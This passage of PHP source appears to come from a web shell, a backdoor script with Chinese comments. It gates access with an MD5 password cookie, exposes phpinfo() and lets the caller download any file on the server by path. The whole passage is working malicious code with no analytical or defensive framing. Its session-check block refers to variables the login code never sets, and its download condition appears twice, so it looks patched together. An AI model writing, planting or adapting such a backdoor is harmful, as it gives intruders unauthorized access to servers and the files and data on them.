}
if ($admin['check']) {
    if ($doing == 'login') {
        if ($admin['pass'] == md5($password)) {
            scookie('loginpass', md5($password));
            p('<meta http-equiv="refresh" content="1;URL=' . $self . '">');
            p('<a style="font:12px Verdana" href="' . $self . '">Success</a>');
            exit;
        }
    }
    if ($_COOKIE['loginpass']) {
        if ($_COOKIE['loginpass'] != $admin['pass']) {
            loginpage();
        }
    } else {
        loginpage();
    }
}
/*===================== 验证结束 =====================*/
$errmsg = '';
// 查看PHPINFO
if ($action == 'phpinfo') {
    if (IS_PHPINFO) {
        phpinfo();
        exit;
    } else {
        $errmsg = 'phpinfo() function has non-permissible';
    }
}
// 下载文件
if ($doing == 'downfile' && $thefile) {

    if ($_SESSION[$prefixme . 'loginpass']) {
        if ($_SESSION[$prefixme . 'loginpass'] != $pass) {
            unset($_SESSION[$prefixme . 'loginpass']);
            unset($_SESSION[$prefixme . 'charsetpage']);
            unset($_SESSION[$prefixme . 'showupdate']);
            unset($_SESSION[$prefixme . 'updateready']);
            session_destroy();
            loginpage($adaptiveerrorpage);
        }
    } else {
        unset($_SESSION[$prefixme . 'loginpass']);
        unset($_SESSION[$prefixme . 'charsetpage']);
        unset($_SESSION[$prefixme . 'showupdate']);
        unset($_SESSION[$prefixme . 'updateready']);
        session_destroy();
        loginpage($adaptiveerrorpage);
    }
}
$errmsg = '';
$uchar = '&#' . '9650;';
$dchar = '&#' . '9660;';
!$action && ($action = 'file');
if ($doing == 'downfile' && $thefile) {
    if (!@file_exists($thefile)) {
        $errmsg = 'The file you want to download was nonexistent';
    } else {
        $fileinfo = pathinfo($thefile);
        header('Content-type: application/x-' . $fileinfo['extension']);
        header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
        header('Content-Length: ' . filesize($thefile));
        @readfile($thefile);